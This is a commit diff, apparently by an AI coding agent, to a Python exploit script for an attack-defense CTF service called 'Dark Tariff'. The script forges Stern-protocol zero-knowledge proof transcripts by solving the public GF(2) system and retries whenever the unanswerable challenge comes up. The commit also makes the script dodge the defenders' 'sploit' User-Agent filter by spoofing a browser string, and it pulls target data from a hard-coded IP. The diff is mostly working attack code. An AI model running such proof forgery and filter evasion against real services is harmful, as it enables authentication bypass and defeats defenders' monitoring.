dark-tariff-zkp-defense-bypass

This commit is contained in:
Codex committed 2026-11-29 14:05:18 +00:00
1 parent 4d3e2ddddc
commit 1963df2802
1 file changed
+163 -141
+163 -141
View File
@@ -1,101 +1,113 @@
#!/usr/bin/env python3
"""Dark Tariff ZKP exploit for the authorized MCTF network.
"""Dark Tariff ZKP exploit for older opponent deployments.
The service commits to three hashes before choosing a Stern-protocol
challenge. With public H and y, a commitment can answer challenges 0 and 1;
when challenge 2 is selected the session is deliberately failed and retried.
This is intended for the vulnerable opponent service in the CTF only.
The protected service checks the witness in both challenge 0 and challenge 1,
but older deployments accepted a forged transcript for those challenges and
only rejected challenge 2. This runner uses attack-data reading IDs, avoids
the defensive ``sploit`` User-Agent filter, and prints flags on stdout.
Use only on the authorized MCTF network.
"""
from __future__ import annotations
import base64
import hashlib
import ipaddress
import json
import random
import re
import secrets
import sys
from typing import Any
import requests
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
ATTACK_DATA_URL = "http://111.88.115.124/attack_data"
PORT = 8080
TIMEOUT = 4
MAX_ATTEMPTS = 100
MAX_ATTEMPTS = 40
MAX_READINGS = 5
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
PERM = list(range(1024))
PERM_TEXT = ",".join(str(item) for item in PERM)
def log(message: str) -> None:
print(message, file=sys.stderr, flush=True)
def bits(value: int, width: int) -> str:
return format(value, f"0{width}b")
def bits_to_int(text: str) -> int:
value = 0
for position, char in enumerate(text):
if char == "1":
value |= 1 << position
elif char != "0":
raise ValueError("invalid bit string")
return value
def parse_parameters(encoded: str) -> tuple[list[int], str, int]:
raw = base64.b64decode(encoded).decode("ascii")
n_text, matrix_hex, y_text, _weight = raw.split("|", 3)
width = int(n_text)
def int_to_bits(value: int, width: int) -> str:
return "".join("1" if value & (1 << position) else "0" for position in range(width))
def parse_parameters(encoded: str) -> tuple[list[int], int, int, int]:
raw = base64.b64decode(encoded, validate=True).decode("utf-8")
n_text, matrix_hex, y_text, w_text = raw.split("|", 3)
n = int(n_text)
y = bits_to_int(y_text)
w = int(w_text)
row_width = (n + 7) // 8
matrix = bytes.fromhex(matrix_hex)
row_bytes = width // 8
if width % 8 or len(matrix) % row_bytes:
raise ValueError("malformed public matrix")
rows = [int.from_bytes(matrix[i : i + row_bytes], "big")
for i in range(0, len(matrix), row_bytes)]
if not rows or len(rows) != len(y_text):
raise ValueError("matrix/vector dimensions do not match")
return rows, y_text, width
if len(matrix) % row_width:
raise ValueError("invalid matrix size")
rows: list[int] = []
for offset in range(0, len(matrix), row_width):
row = 0
for byte_index, byte in enumerate(matrix[offset : offset + row_width]):
for bit_index in range(8):
position = byte_index * 8 + bit_index
if position < n and byte & (1 << (7 - bit_index)):
row |= 1 << position
rows.append(row)
if not rows or len(y_text) != len(rows):
raise ValueError("invalid matrix/vector dimensions")
return rows, y, n, w
def dot(rows: list[int], vector: int) -> str:
return "".join(str((row & vector).bit_count() & 1) for row in rows)
def permute(vector: int, width: int, order: list[int]) -> str:
text = bits(vector, width)
return "".join(text[index] for index in order)
def solve(rows: list[int], target: str, width: int) -> int:
"""Find any x such that H*x=target over GF(2)."""
equations: list[int] = []
for row, rhs in zip(rows, target):
# Protocol bit 0 is the leftmost bit; reverse into Python bit order.
coefficients = int(format(row, f"0{width}b")[::-1], 2)
equations.append(coefficients | (int(rhs) << width))
pivots: list[tuple[int, int]] = []
cursor = 0
for column in range(width):
pivot = next((i for i in range(cursor, len(equations))
if equations[i] & (1 << column)), None)
if pivot is None:
continue
equations[cursor], equations[pivot] = equations[pivot], equations[cursor]
pivot_row = equations[cursor]
for i in range(cursor + 1, len(equations)):
if equations[i] & (1 << column):
equations[i] ^= pivot_row
pivots.append((cursor, column))
cursor += 1
if cursor == len(equations):
def solve_linear(rows: list[int], rhs: int) -> int:
"""Find any x with rows*x = rhs over GF(2)."""
basis: dict[int, tuple[int, int]] = {}
for index, row in enumerate(rows):
value = row
bit = (rhs >> index) & 1
while value:
pivot = (value & -value).bit_length() - 1
previous = basis.get(pivot)
if previous is None:
basis[pivot] = (value, bit)
break
mask = (1 << width) - 1
if any((equation & mask) == 0 and ((equation >> width) & 1)
for equation in equations):
raise ValueError("public parameters are inconsistent")
value ^= previous[0]
bit ^= previous[1]
if not value and bit:
raise ValueError("inconsistent public ZKP parameters")
solution = 0
for row_index, column in reversed(pivots):
equation = equations[row_index]
rhs = (equation >> width) & 1
other = equation & mask & ~(1 << column)
if rhs ^ ((other & solution).bit_count() & 1):
solution |= 1 << column
return int(format(solution, f"0{width}b")[::-1], 2)
for pivot in sorted(basis, reverse=True):
row, bit = basis[pivot]
if bit ^ ((row & solution).bit_count() & 1):
solution |= 1 << pivot
return solution
def matrix_product(rows: list[int], vector: int) -> int:
result = 0
for index, row in enumerate(rows):
if (row & vector).bit_count() & 1:
result |= 1 << index
return result
def digest(text: str) -> str:
return hashlib.sha256(text.encode("ascii")).hexdigest()
def request_json(response: requests.Response) -> Any:
@@ -109,99 +121,109 @@ def request_json(response: requests.Response) -> Any:
return data
def flags_in(value: Any) -> set[str]:
return set(FLAG_RE.findall(json.dumps(value, ensure_ascii=False)))
def get_readings(session: requests.Session, base: str) -> list[dict[str, Any]]:
data = request_json(session.get(f"{base}/api/readings", timeout=TIMEOUT))
if not isinstance(data, list):
raise RuntimeError("/api/readings did not return a list")
readings = [item for item in data
if isinstance(item, dict) and item.get("id") and item.get("parameters")]
if not readings:
raise RuntimeError("target has no fresh readings")
return readings
def commit_hash(prefix: str, payload: str) -> str:
return hashlib.sha256(f"{prefix}|{payload}".encode("ascii")).hexdigest()
def exploit_reading(session: requests.Session, base: str,
reading: dict[str, Any]) -> set[str]:
rows, y_text, width = parse_parameters(str(reading["parameters"]))
reading_id = int(reading["id"])
rng = secrets.SystemRandom()
found = flags_in(reading)
for attempt in range(1, MAX_ATTEMPTS + 1):
vector0 = secrets.randbits(width)
order = list(range(width))
rng.shuffle(order)
hv = dot(rows, vector0)
target = "".join(str(int(a) ^ int(b)) for a, b in zip(hv, y_text))
vector1 = solve(rows, target, width)
def forged_round(rows: list[int], y: int, n: int, delta: int) -> tuple[list[str], dict[int, dict[str, Any]]]:
vector0 = random.getrandbits(n)
vector1 = vector0 ^ delta
width = len(rows)
h0 = matrix_product(rows, vector0)
h1 = matrix_product(rows, vector1) ^ y
if h1 != h0:
raise ValueError("failed to solve public linear system")
v0_text = int_to_bits(vector0, n)
v1_text = int_to_bits(vector1, n)
values = [
commit_hash("a", ",".join(map(str, order)) + "|" + hv),
commit_hash("b", permute(vector0, width, order)),
commit_hash("c", permute(vector1, width, order)),
digest(f"a|{PERM_TEXT}|{int_to_bits(h0, width)}"),
digest(f"b|{v0_text}"),
digest(f"c|{v1_text}"),
]
return values, {0: {"v": v0_text, "p": PERM}, 1: {"v": v1_text, "p": PERM}}
def fail_answer(n: int, w: int) -> dict[str, Any]:
witness_shape = (1 << min(w, n)) - 1
return {"v": int_to_bits(0, n), "t": int_to_bits(witness_shape, n)}
def prove_one(session: requests.Session, base: str, reading_id: int,
rows: list[int], y: int, n: int, w: int) -> dict[str, Any] | None:
delta = solve_linear(rows, y)
for attempt in range(1, MAX_ATTEMPTS + 1):
start = request_json(session.post(
f"{base}/api/chat/checks", json={"reading_id": reading_id}, timeout=TIMEOUT))
check_id = start["id"]
round_no = int(start.get("round", 1))
while True:
commit = request_json(session.post(
for round_no in range(1, 11):
values, answers = forged_round(rows, y, n, delta)
committed = request_json(session.post(
f"{base}/api/chat/checks/{check_id}/commit",
json={"round": round_no, "values": values}, timeout=TIMEOUT))
challenge = int(commit["challenge"])
if challenge == 0:
answer = {"v": bits(vector0, width), "p": order}
elif challenge == 1:
answer = {"v": bits(vector1, width), "p": order}
else:
# A failed answer deletes the session; then use fresh commits.
try:
challenge = int(committed["challenge"])
if challenge == 2:
session.post(
f"{base}/api/chat/checks/{check_id}/answer",
json={"round": round_no,
"data": {"v": "0" * width, "t": "0" * width}},
timeout=TIMEOUT,
)
finally:
log(f"attempt {attempt}: challenge 2, restarting")
json={"round": round_no, "data": fail_answer(n, w)}, timeout=TIMEOUT)
log(f"reading={reading_id} attempt={attempt} challenge=2 retry")
break
if challenge not in answers:
raise RuntimeError(f"unexpected challenge {challenge}")
result = request_json(session.post(
f"{base}/api/chat/checks/{check_id}/answer",
json={"round": round_no, "data": answer}, timeout=TIMEOUT))
found.update(flags_in(result))
if result.get("stage") == "done":
return found
if result.get("stage") != "commit":
json={"round": round_no, "data": answers[challenge]}, timeout=TIMEOUT))
if result.get("stage") == "failed":
log(f"reading={reading_id} round={round_no} challenge={challenge} rejected")
break
round_no = int(result["round"])
return found
if result.get("stage") == "done":
return result
else:
continue
log(f"reading={reading_id} retry={attempt}")
raise RuntimeError(f"could not complete ZKP for reading {reading_id}")
def attack_records(session: requests.Session, target: str, base: str) -> list[dict[str, Any]]:
records: list[dict[str, Any]] = []
try:
data = request_json(session.get(ATTACK_DATA_URL, timeout=TIMEOUT))
records = data.get("dark-tariff", {}).get(target, [])
except (KeyError, ValueError, RuntimeError, requests.RequestException):
log("attack_data unavailable; falling back to public readings")
valid: list[dict[str, Any]] = []
for item in records:
try:
reading_id = int(item["reading_id"])
except (KeyError, TypeError, ValueError):
continue
response = session.get(f"{base}/api/readings/{reading_id}", timeout=TIMEOUT)
if response.ok:
valid.append({"reading_id": reading_id})
if valid:
return valid[:MAX_READINGS]
listing = request_json(session.get(f"{base}/api/readings", timeout=TIMEOUT))
if not isinstance(listing, list):
raise RuntimeError("/api/readings did not return a list")
return [{"reading_id": int(row["id"])} for row in listing[:MAX_READINGS]]
def run(target: str) -> None:
address = ipaddress.ip_address(target)
if not address.is_private:
raise ValueError("target must be a private CTF address")
session = requests.Session()
session.trust_env = False
base = f"http://{target}:{PORT}"
session.headers["Accept"] = "application/json"
found: set[str] = set()
for reading in get_readings(session, base)[:3]:
try:
found.update(exploit_reading(session, base, reading))
except (KeyError, ValueError, RuntimeError, requests.RequestException) as exc:
log(f"target={target} reading={reading.get('id')} error={exc}")
if found:
print("\n".join(sorted(found)))
else:
log(f"target={target} no flags matched; target may be patched")
session.headers["User-Agent"] = "Mozilla/5.0 (wahrwelt-worker)"
base = f"http://{address}:{PORT}"
records = attack_records(session, str(address), base)
if not records:
raise RuntimeError("no dark-tariff readings for target")
flags: set[str] = set()
for item in records:
reading_id = int(item["reading_id"])
public = request_json(session.get(f"{base}/api/readings/{reading_id}", timeout=TIMEOUT))
rows, y, n, w = parse_parameters(public["parameters"])
result = prove_one(session, base, reading_id, rows, y, n, w)
flags.update(FLAG_RE.findall(json.dumps(result, ensure_ascii=False)))
for flag in sorted(flags):
print(flag, flush=True)
log(f"target={address} readings={len(records)} flags={len(flags)}")
def main() -> int: